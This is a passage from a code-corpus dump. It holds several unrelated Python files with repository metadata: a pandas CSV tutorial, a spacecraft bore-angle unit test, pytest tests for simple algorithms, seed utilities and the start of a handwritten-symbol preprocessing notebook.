"max_stars_repo_name": "ajaysub110/yellowbrick", "max_stars_repo_head_hexsha": "19349a3f2fcce48ebafda5493a7b8e963cc46160", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "tests/test_cluster/test_elbow.py", "max_issues_repo_name": "ajaysub110/yellowbrick", "max_issues_repo_head_hexsha": "19349a3f2fcce48ebafda5493a7b8e963cc46160", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tests/test_cluster/test_elbow.py", "max_forks_repo_name": "ajaysub110/yellowbrick", "max_forks_repo_head_hexsha": "19349a3f2fcce48ebafda5493a7b8e963cc46160", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 33.1777777778, "max_line_length": 83, "alphanum_fraction": 0.5952540427, "include": true, "reason": "import numpy,from numpy,from scipy", "num_tokens": 2845, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4843800842769844, "lm_q2_score": 0.12252320290590249, "lm_q1q2_score": 0.05934779934944711}}
{"text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Nov 26 08:20:33 2019\n\n@author: junt_\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\nimport os\n\n# 1) Csv, Jason, HTML, XML\n# 2) Binary\n# 3) Relational Databases\n\npath = \"Z://junt_//Documents//7mo//Python//Pandas//Data//pokemon.csv\"\n\ndf_one = pd.read_csv(\n        path,\n        nrows = 10)\n\ncolumnas = ['#','Name','Type 1','Total','Attack','Defense','Sp. Atk','Sp. Def','Speed']\n\ndf_dos = pd.read_csv(\n        path,\n        nrows = 10,\n        usecols = columnas,\n        index_col = '#')\n\ndf_tres = pd.read_csv(path)\n\nsave_path = \"Z://junt_//Documents//7mo//Python//Pandas//Data//pokemon_completo.pickle\"\n\ndf_tres.to_pickle(save_path)\n\ndf_cuatro = pd.read_pickle(save_path)", "meta": {"hexsha": "cd554f5b831a0207c6e405ceb62e94887ae944e3", "size": 712, "ext": "py", "lang": "Python", "max_stars_repo_path": "Pandas/D_lecturaCsv.py", "max_stars_repo_name": "2019-a-gr1-python/py-guevara-sanandres-juan-diego", "max_stars_repo_head_hexsha": "e8218073cb989f248f9143f4cf2bb300c4bf9c59", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Pandas/D_lecturaCsv.py", "max_issues_repo_name": "2019-a-gr1-python/py-guevara-sanandres-juan-diego", "max_issues_repo_head_hexsha": "e8218073cb989f248f9143f4cf2bb300c4bf9c59", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Pandas/D_lecturaCsv.py", "max_forks_repo_name": "2019-a-gr1-python/py-guevara-sanandres-juan-diego", "max_forks_repo_head_hexsha": "e8218073cb989f248f9143f4cf2bb300c4bf9c59", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 19.7777777778, "max_line_length": 87, "alphanum_fraction": 0.6292134831, "include": true, "reason": "import numpy", "num_tokens": 224, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.4225046348141882, "lm_q2_score": 0.1403362494900832, "lm_q1q2_score": 0.0592927158420004}}
{"text": "''' '''\n'''\n ISC License\n\n Copyright (c) 2016, Autonomous Vehicle Systems Lab, University of Colorado at Boulder\n\n Permission to use, copy, modify, and/or distribute this software for any\n purpose with or without fee is hereby granted, provided that the above\n copyright notice and this permission notice appear in all copies.\n\n THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n\n'''\n\n#\n# Bore Angle Calculation Test\n#\n# Purpose:  Test the proper function of the ore Angle Calculation module.\n#           Proper function is tested by\n#\n# Author:   Rachel Mamich\n# Creation Date:  Jun. 30, 2017\n#\n\n# @cond DOXYGEN_IGNORE\nfrom Basilisk.utilities import SimulationBaseClass\nfrom Basilisk.simulation import bore_ang_calc\nfrom Basilisk.utilities import macros\nfrom Basilisk.utilities import RigidBodyKinematics\nfrom Basilisk.simulation import spice_interface\nfrom Basilisk.simulation import spacecraftPlus\nfrom Basilisk.utilities import unitTestSupport\nimport pytest\nimport numpy\nimport os\n# @endcond\n\npath = os.path.dirname(os.path.abspath(__file__))\n\nclass ResultsStore:\n    def __init__(self):\n        self.PassFail = []\n    def texSnippet(self):\n        for i in range(len(self.PassFail)):\n            snippetName = 'Result' + str(i)\n            if self.PassFail[i] == 'PASSED':\n                textColor = 'ForestGreen'\n            elif self.PassFail[i] == 'FAILED':\n                textColor = 'Red'\n            texSnippet =  '\\\\textcolor{' + textColor + '}{'+ self.PassFail[i] + '}'\n            unitTestSupport.writeTeXSnippet(snippetName, texSnippet, path)\n\n@pytest.fixture(scope=\"module\")\ndef testFixture():\n    listRes = ResultsStore()\n    yield listRes\n    listRes.texSnippet()\n\n# uncomment this line is this test is to be skipped in the global unit test run, adjust message as needed\n# @pytest.mark.skipif(conditionstring)\n# uncomment this line if this test has an expected failure, adjust message as needed\n# @pytest.mark.xfail(True)\n# The following 'parametrize' function decorator provides the parameters and expected results for each\n#   of the multiple test runs for this test.\n@pytest.mark.parametrize(\"boresightLoc, eulerLoc\",\n                         [([1.0 / numpy.sqrt(3), 1.0 / numpy.sqrt(3), 1.0 / numpy.sqrt(3)], [0.0, 0.0, 0.0]),\n                          ([-1.0 / numpy.sqrt(3), 1.0 / numpy.sqrt(3), 1.0 / numpy.sqrt(3)], [0.0, 0.0, 0.0]),\n                          ([1.0 / numpy.sqrt(3), -1.0 / numpy.sqrt(3), 1.0 / numpy.sqrt(3)], [0.0, 0.0, 0.0]),\n                          ([-1.0 / numpy.sqrt(3), -1.0 / numpy.sqrt(3), 1.0 / numpy.sqrt(3)], [0.0, 0.0, 0.0]),\n                          ([1.0 / numpy.sqrt(3), 1.0 / numpy.sqrt(3), -1.0 / numpy.sqrt(3)], [0.0, 0.0, 0.0]),\n                          ([-1.0 / numpy.sqrt(3), 1.0 / numpy.sqrt(3), -1.0 / numpy.sqrt(3)], [0.0, 0.0, 0.0]),\n                          ([1.0 / numpy.sqrt(3), -1.0 / numpy.sqrt(3), -1.0 / numpy.sqrt(3)], [0.0, 0.0, 0.0]),\n                          ([-1.0 / numpy.sqrt(3), -1.0 / numpy.sqrt(3), -1.0 / numpy.sqrt(3)], [0.0, 0.0, 0.0]),\n                          ([0.0, 0.0, 1.0], [numpy.pi / 4, numpy.pi / 4, 0.0]),\n                          ([0.0, 0.0, 1.0], [3 * numpy.pi / 4, numpy.pi / 4, 0.0]),\n                          ([0.0, 0.0, 1.0], [5 * numpy.pi / 4, numpy.pi / 4, 0.0]),\n                          ([0.0, 0.0, 1.0], [-numpy.pi / 4, numpy.pi / 4, 0.0]),\n                          ([0.0, 0.0, 1.0], [numpy.pi / 4, -numpy.pi / 4, 0.0]),\n                          ([0.0, 0.0, 1.0], [3 * numpy.pi / 4, -numpy.pi / 4, 0.0]),\n                          ([0.0, 0.0, 1.0], [5 * numpy.pi / 4, -numpy.pi / 4, 0.0]),\n                          ([0.0, 0.0, 1.0], [-numpy.pi / 4, -numpy.pi / 4, 0.0]),\n                          ([1.0, 0.0, 0.0], [0.0, 0.0, 0.0])])\n# # provide a unique test method name, starting with test_\ndef test_bore_ang_calc(testFixture, show_plots, boresightLoc, eulerLoc):\n    # each test method requires a single assert method to be called\n    [testResults, testMessage] = bore_ang_calc_func(testFixture, show_plots, boresightLoc, eulerLoc)\n    assert testResults < 1, testMessage\n\n# Run unit test\ndef bore_ang_calc_func(testFixture, show_plots, boresightLoc, eulerLoc):\n    testFailCount = 0  # zero unit test result counter\n    testMessages = []  # create empty array to store test log messages\n\n    # Create a sim module as an empty container\n    unitTaskName = \"unitTask\"  # arbitrary name (don't change)\n    unitProcessName = \"TestProcess\"  # arbitrary name (don't change)\n\n    # Create a sim module as an empty container\n    TotalSim = SimulationBaseClass.SimBaseClass()\n    TotalSim.TotalSim.terminateSimulation()\n\n    DynUnitTestProc = TotalSim.CreateNewProcess(unitProcessName)\n    # create the dynamics task and specify the integration update time\n    DynUnitTestProc.addTask(TotalSim.CreateNewTask(unitTaskName, macros.sec2nano(1.0)))\n\n    spiceMessage = spice_interface.SpicePlanetStateSimMsg()\n    stateMessage = spacecraftPlus.SCPlusStatesSimMsg()\n    angMessage = bore_ang_calc.AngOffValuesSimMsg()\n    vehPosition = [10000.0, 0.0, 0.0]\n    sunPosition = [10000.0, 1000.0, 0.0]\n    stateMessage.r_BN_N = vehPosition\n    stateMessage.v_BN_N = [-365052.0511, 0.0, 0.0]\n    if eulerLoc[0] == 0.0:\n        stateMessage.sigma_BN = [0.0, 0.0, 0.0]\n    else:\n        stateMessage.sigma_BN = RigidBodyKinematics.euler3212MRP(eulerLoc)\n    spiceMessage.PositionVector = sunPosition\n    spiceMessage.PlanetName = \"sun\"\n    # Inertial State output Message\n    inputMessageSize = stateMessage.getStructSize()\n    TotalSim.TotalSim.CreateNewMessage(unitProcessName,\n                                       \"inertial_state_output\",\n                                       inputMessageSize,\n                                       2)  # number of buffers (leave at 2 as default, don't make zero)\n    TotalSim.TotalSim.WriteMessageData(\"inertial_state_output\",\n                                       inputMessageSize,\n                                       0,\n                                       stateMessage)\n\n    # Sun Planet Data Message\n    inputMessageSize = spiceMessage.getStructSize()\n    TotalSim.TotalSim.CreateNewMessage(unitProcessName,\n                                       \"sun_planet_data\",\n                                       inputMessageSize,\n                                       2)  # number of buffers (leave at 2 as default, don't make zero)\n    TotalSim.TotalSim.WriteMessageData(\"sun_planet_data\",\n                                       inputMessageSize,\n                                       0,\n                                       spiceMessage)\n\n    # Initialize the spice modules that we are using.\n    BACObject = bore_ang_calc.BoreAngCalc()\n    BACObject.ModelTag = \"solarArrayBoresight\"\n    BACObject.StateString = \"inertial_state_output\"\n    BACObject.celBodyString = \"sun_planet_data\"\n    BACObject.OutputDataString = \"solar_array_sun_bore\"\n    BACObject.boreVec_B = boresightLoc  # boresight in body frame\n    TotalSim.AddModelToTask(unitTaskName, BACObject)\n    #\n    # Configure simulation\n    TotalSim.ConfigureStopTime(int(1.0 * 1E9))\n    TotalSim.TotalSim.logThisMessage(BACObject.OutputDataString)\n\n    # Execute simulation\n    TotalSim.InitializeSimulation()\n    TotalSim.AddVariableForLogging(BACObject.ModelTag + \".boreVecPoint\", 1, 0, 2, \"double\")\n    TotalSim.ExecuteSimulation()\n    ###################################################################################################################\n    #\n    # Begin testing module results to truth values\n\n    simMiss = TotalSim.pullMessageLogData(BACObject.OutputDataString + '.missAngle', range(1))\n    simAz = TotalSim.pullMessageLogData(BACObject.OutputDataString + '.azimuth', range(1))\n    simBoreVecPt = TotalSim.GetLogVariableData(BACObject.ModelTag + \".boreVecPoint\")\n\n    # Truth values\n    dcm_BN = RigidBodyKinematics.MRP2C(stateMessage.sigma_BN)\n    relPosVector = numpy.subtract(spiceMessage.PositionVector, stateMessage.r_BN_N)\n    relVelVector = numpy.subtract(spiceMessage.VelocityVector, stateMessage.v_BN_N)\n    magRelVelVec = numpy.sqrt(relVelVector[0] ** 2 + relVelVector[1] ** 2 + relVelVector[2] ** 2)\n    if magRelVelVec == 0:\n        secPointVector = numpy.zeros((1, 3))\n        magSecPtVec = 0\n    else:\n        secPointVector = numpy.cross(relPosVector, relVelVector) / numpy.linalg.norm(numpy.cross(relPosVector,\n                                                                                                 relVelVector))\n        magSecPtVec = 1\n    primPointVector = relPosVector / numpy.linalg.norm(relPosVector)  # r_p/b_N\n    dcm_PoN = numpy.zeros((3, 3))\n    dcm_PoN[0, 0:2] = primPointVector[0:2]\n    magPrimPtVec = numpy.sqrt(primPointVector[0] ** 2 + primPointVector[1] ** 2 + primPointVector[2] ** 2)\n    if magPrimPtVec != 0 and magSecPtVec != 0:\n        dcm_PoN_2 = numpy.cross(primPointVector, secPointVector) / numpy.linalg.norm(\n            numpy.cross(primPointVector, secPointVector))\n        for i in range(3):\n            dcm_PoN[2, i] = dcm_PoN_2[i]\n    dcm_PoN_1 = numpy.cross(dcm_PoN_2, primPointVector)\n    for i in range(3):\n        dcm_PoN[1, i] = dcm_PoN_1[i]\n    dcm_BPo = numpy.dot(dcm_BN, dcm_PoN.transpose())\n    vecBore_B = numpy.zeros((3, 1))\n    for i in range(3):\n        vecBore_B[i, 0] = BACObject.boreVec_B[i]\n    boreVecPoint = numpy.dot(numpy.transpose(dcm_BPo), vecBore_B)\n    boreVecPoint_1 = []\n    for i in range(3):\n        boreVecPoint_1.append(boreVecPoint[i, 0])\n    boreVecPoint_1 = numpy.array(boreVecPoint_1)\n\n    ####################################################################################################################\n    # attempt calculation in body frame\n    r_B = numpy.dot(dcm_BN, stateMessage.r_BN_N)  # BN * N = B\n\n    # Set tolersnce\n    AllowTolerance = 1E-10\n    boreVecPoint_final = [boreVecPoint_1]\n    simBoreVecPt_final = [simBoreVecPt[0]]\n\n    testFailCount, testMessages = unitTestSupport.compareArray(boreVecPoint_final, simBoreVecPt_final, AllowTolerance,\n                                                               \"FAILED: Calculating the vector boreVecPoint.\",\n                                                               testFailCount, testMessages)\n\n    # Truth values\n    #boreVecPoint_1 = [0.0, 1.0, 0.0]\n\n    baselinePoint = [1.0, 0.0, 0.0]\n    baselinePoint = numpy.array(baselinePoint)\n    dotValue = numpy.dot(boreVecPoint_1, baselinePoint)\n    r_N = numpy.dot(numpy.transpose(dcm_BN), BACObject.boreVec_B)\n    baselineProj = numpy.dot(numpy.transpose(dcm_PoN), baselinePoint)\n    dotValue_2 = numpy.dot(r_N, baselineProj)\n    boresightMissAng = numpy.arccos(dotValue)\n    boresightMissAng_2 = numpy.arccos(dotValue_2)  # boresight calc using body frame\n    if boresightMissAng == numpy.pi / 2:\n        simAz_final = numpy.array(simAz[-1])\n        boresightAzimuth = simAz_final[-1]\n        print \"The miss angle is 0, therefore the miss angle is ill defined!\"\n    else:\n        boresightAzimuth = numpy.arctan2(boreVecPoint_1[2], boreVecPoint_1[1])\n\n    # Next Check\n    AllowTolerance = 1E-10\n    simMiss_final = numpy.array(simMiss[-1])\n    if (boresightMissAng - simMiss_final[\n        -1]) > AllowTolerance:  # Skip test days that are Sunday because of the end of a GPS week\n        testFailCount += 1\n        testMessages.append(\n            \"FAILED: Calculating the miss angle of the boresight failed with difference of: %(DiffVal)f \\n\" % \\\n            {\"DiffVal\": boresightMissAng - simMiss_final[-1]})\n    simAz_final = numpy.array(simAz[-1])\n    if (boresightAzimuth - simAz_final[-1]) > AllowTolerance:  # Skip test days that are Sunday because of the end of a GPS week\n        testFailCount += 1\n        testMessages.append(\n            \"FAILED: Calculating the azimuth angle of the boresight failed with difference of: %(DiffVal)f \\n\" % \\\n            {\"DiffVal\": boresightAzimuth - simAz_final[-1]})\n\n    # print out success message if no error were found\n    if testFailCount == 0:\n        print \"PASSED\"\n        testFixture.PassFail.append(\"PASSED\")\n    else:\n        testFixture.PassFail.append(\"FAILED\")\n\n    # each test method requires a single assert method to be called\n    #   this check below just makes sure no sub-test failures were found\n    return [testFailCount, ''.join(testMessages)]\n\n# This statement below ensures that the unit test scrip can be run as a\n# stand-along python script\n#\nif __name__ == \"__main__\":\n    bore_ang_calc_func(ResultsStore(), False,  # show_plots\n                       [1.0 / numpy.sqrt(3), 1.0 / numpy.sqrt(3), 1.0 / numpy.sqrt(3)], [0.0, 0.0, 0.0])\n", "meta": {"hexsha": "50f304e6b54275bc787c0cf6b46d5a0c57ffe06b", "size": 12997, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/simulation/dynamics/DynOutput/boreAngCalc/_UnitTest/test_bore_ang_calc.py", "max_stars_repo_name": "ian-cooke/basilisk_mag", "max_stars_repo_head_hexsha": "a8b1e37c31c1287549d6fd4d71fcaa35b6fc3f14", "max_stars_repo_licenses": ["0BSD"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/simulation/dynamics/DynOutput/boreAngCalc/_UnitTest/test_bore_ang_calc.py", "max_issues_repo_name": "ian-cooke/basilisk_mag", "max_issues_repo_head_hexsha": "a8b1e37c31c1287549d6fd4d71fcaa35b6fc3f14", "max_issues_repo_licenses": ["0BSD"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2019-03-13T20:52:22.000Z", "max_issues_repo_issues_event_max_datetime": "2019-03-13T20:52:22.000Z", "max_forks_repo_path": "src/simulation/dynamics/DynOutput/boreAngCalc/_UnitTest/test_bore_ang_calc.py", "max_forks_repo_name": "ian-cooke/basilisk_mag", "max_forks_repo_head_hexsha": "a8b1e37c31c1287549d6fd4d71fcaa35b6fc3f14", "max_forks_repo_licenses": ["0BSD"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 48.137037037, "max_line_length": 128, "alphanum_fraction": 0.6191428791, "include": true, "reason": "import numpy", "num_tokens": 3561, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4339814501625211, "lm_q2_score": 0.13660838299605804, "lm_q1q2_score": 0.05928550415698636}}
{"text": "import numpy as np\t\t\t\t\t# The Numpy library\r\nimport matplotlib.pyplot as plt\t\t# Matplotlib's pyplot\r\n\r\nimport sys\t\t\t\t\t\t\t# Gives access to a C-like sys library\r\nimport os\t\t\t\t\t\t\t# Gives access to operations system\r\n\r\n\r\nprint(sys.argv)\t\t# Prints any command line arguments, incl program name\r\nprint(os.getcwd())\t# Prints the current working directory\r\n", "meta": {"hexsha": "fde0d46bb374a0aa285cc004f0b454993b30b64f", "size": 348, "ext": "py", "lang": "Python", "max_stars_repo_path": "useful_modules.py", "max_stars_repo_name": "spausanc/astr-119-hw-1", "max_stars_repo_head_hexsha": "f2e17dbea70f0eebdd3555718285cafce2ac3cf4", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "useful_modules.py", "max_issues_repo_name": "spausanc/astr-119-hw-1", "max_issues_repo_head_hexsha": "f2e17dbea70f0eebdd3555718285cafce2ac3cf4", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2018-10-25T23:42:12.000Z", "max_issues_repo_issues_event_max_datetime": "2018-10-25T23:42:12.000Z", "max_forks_repo_path": "useful_modules.py", "max_forks_repo_name": "spausanc/astr-119-hw-2", "max_forks_repo_head_hexsha": "f2e17dbea70f0eebdd3555718285cafce2ac3cf4", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2018-10-18T01:53:25.000Z", "max_forks_repo_forks_event_max_datetime": "2018-10-18T01:53:25.000Z", "avg_line_length": 34.8, "max_line_length": 72, "alphanum_fraction": 0.7183908046, "include": true, "reason": "import numpy", "num_tokens": 79, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.44552953503957277, "lm_q2_score": 0.13296423676207597, "lm_q1q2_score": 0.05923949458149937}}
{"text": "from sage.misc.lazy_import import lazy_import\nlazy_import('sage.doctest.control', 'run_doctests')\n", "meta": {"hexsha": "bc363e7830c29806120e34bdffde678c3e7f939a", "size": 98, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/sage/doctest/all.py", "max_stars_repo_name": "bopopescu/sage", "max_stars_repo_head_hexsha": "2d495be78e0bdc7a0a635454290b27bb4f5f70f0", "max_stars_repo_licenses": ["BSL-1.0"], "max_stars_count": 1742, "max_stars_repo_stars_event_min_datetime": "2015-01-04T07:06:13.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T11:32:52.000Z", "max_issues_repo_path": "src/sage/doctest/all.py", "max_issues_repo_name": "Ivo-Maffei/sage", "max_issues_repo_head_hexsha": "467fbc70a08b552b3de33d9065204ee9cbfb02c7", "max_issues_repo_licenses": ["BSL-1.0"], "max_issues_count": 66, "max_issues_repo_issues_event_min_datetime": "2015-03-19T19:17:24.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-16T11:59:30.000Z", "max_forks_repo_path": "src/sage/doctest/all.py", "max_forks_repo_name": "dimpase/sage", "max_forks_repo_head_hexsha": "468f23815ade42a2192b0a9cd378de8fdc594dcd", "max_forks_repo_licenses": ["BSL-1.0"], "max_forks_count": 495, "max_forks_repo_forks_event_min_datetime": "2015-01-10T10:23:18.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-24T22:06:11.000Z", "avg_line_length": 32.6666666667, "max_line_length": 51, "alphanum_fraction": 0.8265306122, "include": true, "reason": "from sage", "num_tokens": 24, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.47657965106367595, "lm_q2_score": 0.12421299862599396, "lm_q1q2_score": 0.05919738754274906}}
{"text": "import numpy as np\nimport random\nimport torch\n\ndef set_seeds(seed_value, use_cuda):\n    np.random.seed(seed_value)  # cpu vars\n    torch.manual_seed(seed_value)  # cpu  vars\n    random.seed(seed_value)  # Python\n    if use_cuda:\n        torch.cuda.manual_seed(seed_value)\n        # torch.cuda.manual_seed_all(seed_value)  # gpu vars\n        torch.backends.cudnn.deterministic = True  # needed\n        torch.backends.cudnn.benchmark = False\n", "meta": {"hexsha": "08fb212f1b4169c40ce2cd247546fd291bdcc80b", "size": 440, "ext": "py", "lang": "Python", "max_stars_repo_path": "utils/reproducibility.py", "max_stars_repo_name": "jankukacka/lwnet", "max_stars_repo_head_hexsha": "5b91c1897e68021c1dac263645d1d3050190ab35", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 39, "max_stars_repo_stars_event_min_datetime": "2020-09-03T01:45:25.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-18T03:48:04.000Z", "max_issues_repo_path": "utils/reproducibility.py", "max_issues_repo_name": "jankukacka/lwnet", "max_issues_repo_head_hexsha": "5b91c1897e68021c1dac263645d1d3050190ab35", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 3, "max_issues_repo_issues_event_min_datetime": "2020-09-08T17:52:43.000Z", "max_issues_repo_issues_event_max_datetime": "2022-02-20T17:34:34.000Z", "max_forks_repo_path": "utils/reproducibility.py", "max_forks_repo_name": "jankukacka/lwnet", "max_forks_repo_head_hexsha": "5b91c1897e68021c1dac263645d1d3050190ab35", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 15, "max_forks_repo_forks_event_min_datetime": "2020-09-08T07:43:37.000Z", "max_forks_repo_forks_event_max_datetime": "2022-02-23T08:29:43.000Z", "avg_line_length": 31.4285714286, "max_line_length": 60, "alphanum_fraction": 0.7045454545, "include": true, "reason": "import numpy", "num_tokens": 110, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47657965106367595, "lm_q2_score": 0.12421299700498412, "lm_q1q2_score": 0.059197386770208756}}
{"text": "import pytest\nimport numpy as np\nimport cv2\nimport S1_algotools as s1\n\n\"\"\"-------------TEST average_above_zero---------------\"\"\"\ndef test_average_above_zero_expected_list():\n    \"\"\"Function that test if average_above_zero raise exeption when the param is not a list\"\"\"\n    with pytest.raises(ValueError):\n        s1.average_above_zero(15)\n\ndef test_average_above_zero_empty():\n    \"\"\"Function that test if average_above_zero raise exeption when the param is an empty list\"\"\"\n    with pytest.raises(ValueError):\n        s1.average_above_zero([])\n\ndef  test_average_above_zero_expected_number_list():\n    \"\"\"Function that test if average_above_zero raise exeption when the param is an not a numbers list\"\"\"\n    with pytest.raises(ValueError):\n        s1.average_above_zero([\"e\",\"r\",\"r\",\"o\",\"r\"])\n\ndef test_average_above_zero_working():\n    \"\"\"Function that test if average_above_zero return the correct average\"\"\"\n    assert s1.average_above_zero([10,20])==15.0\n\n\n\n\"\"\"--------------TEST max_value-----------------------\"\"\"\ndef test_max_value_expected_list():\n    \"\"\"Function that test if max_value raise exeption when the param is not a list\"\"\"\n    with pytest.raises(ValueError):\n        s1.max_value(15)\n\ndef test_max_value_empty():\n    \"\"\"Function that test if max_value raise exeption when the param is an empty list\"\"\"\n    with pytest.raises(ValueError):\n        s1.max_value([])\n\ndef  test_max_value_expected_number_list():\n    \"\"\"Function that test if max_value raise exeption when the param is an not a numbers list\"\"\"\n    with pytest.raises(ValueError):\n        s1.max_value([\"e\",\"r\",\"r\",\"o\",\"r\"])\n\ndef test_max_value_working():\n    \"\"\"Function that test if max_value return the max value and index\"\"\"\n    assert s1.max_value([10,51,48,63,24])==(63,3)\n\n\n\n\"\"\"--------------TEST reverse_table-------------------\"\"\"\ndef test_reverse_table_expected_list():\n    \"\"\"Function that test if reverse_table raise exeption when the param is not a list\"\"\"\n    with pytest.raises(ValueError):\n        s1.reverse_table(15)\n\ndef test_reverse_table_empty():\n    \"\"\"Function that test if reverse_table raise exeption when the param is an empty list\"\"\"\n    with pytest.raises(ValueError):\n        s1.reverse_table([])\n\ndef  test_reverse_table_expected_number_list():\n    \"\"\"Function that test if reverse_table raise exeption when the param is an not a numbers list\"\"\"\n    with pytest.raises(ValueError):\n        s1.reverse_table([\"e\",\"r\",\"r\",\"o\",\"r\"])\n\ndef test_revese_table_working():\n    \"\"\"Function that test if reverse_table return the reversed array\"\"\"\n    assert np.array_equal(s1.reverse_table([10,15,20,12,15]),[15,12,20,15,10])==True\n\n\n\"\"\"--------------TEST --------------------------\"\"\"\ndef test_roi_bbox_expected_ndarray():\n    \"\"\"Function that test if reverse_table raise exeption when the param is not a ndarray\"\"\"\n    with pytest.raises(ValueError):\n        s1.roi_bbox(15)\n\ndef test_roi_bbox_working():\n    img=cv2.imread(\"img_sample.png\",0)\n    assert s1.roi_bbox(img)\n\n\n\"\"\"--------------TEST random_fill_sparse---------------\"\"\"\ndef test_random_fill_sparse_working():\n    \"\"\"Function that test if random_fill_sparse return an array with 'X'\"\"\"\n    charar=np.chararray((5, 5))\n    charar[:] = '0'\n    arr = s1.random_fill_sparse(charar,2)\n    condition = arr == b'X'\n    assert np.count_nonzero(condition)==2\n", "meta": {"hexsha": "1fc7cb60ad333e31f9d3a3d45c21e18dac3c7fb3", "size": 3313, "ext": "py", "lang": "Python", "max_stars_repo_path": "test_S2.py", "max_stars_repo_name": "VERONYannick/BachelorDIM-Lectures-Algorithms-2019", "max_stars_repo_head_hexsha": "7e391346e97d611c2754de42cc7e6c151e980fe2", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "test_S2.py", "max_issues_repo_name": "VERONYannick/BachelorDIM-Lectures-Algorithms-2019", "max_issues_repo_head_hexsha": "7e391346e97d611c2754de42cc7e6c151e980fe2", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "test_S2.py", "max_forks_repo_name": "VERONYannick/BachelorDIM-Lectures-Algorithms-2019", "max_forks_repo_head_hexsha": "7e391346e97d611c2754de42cc7e6c151e980fe2", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 36.8111111111, "max_line_length": 105, "alphanum_fraction": 0.6782372472, "include": true, "reason": "import numpy", "num_tokens": 738, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4571367168274948, "lm_q2_score": 0.12940272991290905, "lm_q1q2_score": 0.05915473910090229}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # Handwritten mathematical sumbols\n\n# ## Data preprocessing\n\n# Hand_written\n#     \n#     --> handwritten_mathematical_model.ipynb\n#     --> hasy-data\n#     --> hasy-data-labels\n#     --> symbols.csv\n#     --> hasyv2\n#         --> hasy-data\n#         --> hasy-data-labels\n#         --> symbols.csv\n#         --> verification-task\n#     --> verification-task\n#     \n# Note:- You can use hasyv2 but for this I have not used that\n\n#Just to check\nfrom IPython.display import Image\nImage(url='hasy-data/v2-00010.png')\n\n#importing libraries for preprocessing task\nimport csv\nfrom PIL import Image as pil_image\nimport keras.preprocessing.image\n\n#load all images and save there classes\n\nimgs = []\nclasses = []\nwith open('hasy-data-labels.csv') as csvFile:\n    csvReader = csv.reader(csvFile)\n    i = 0\n    for row in csvReader:\n        if i > 0:\n            img = keras.preprocessing.image.img_to_array(pil_image.open(row[0]))\n            img /= 255.0\n            imgs.append((row[0], row[2], img))\n            classes.append(row[2])\n        i += 1\nprint(\"Total number of images: \", len(imgs)) #print the total number of images \n\n\n# Randomly split 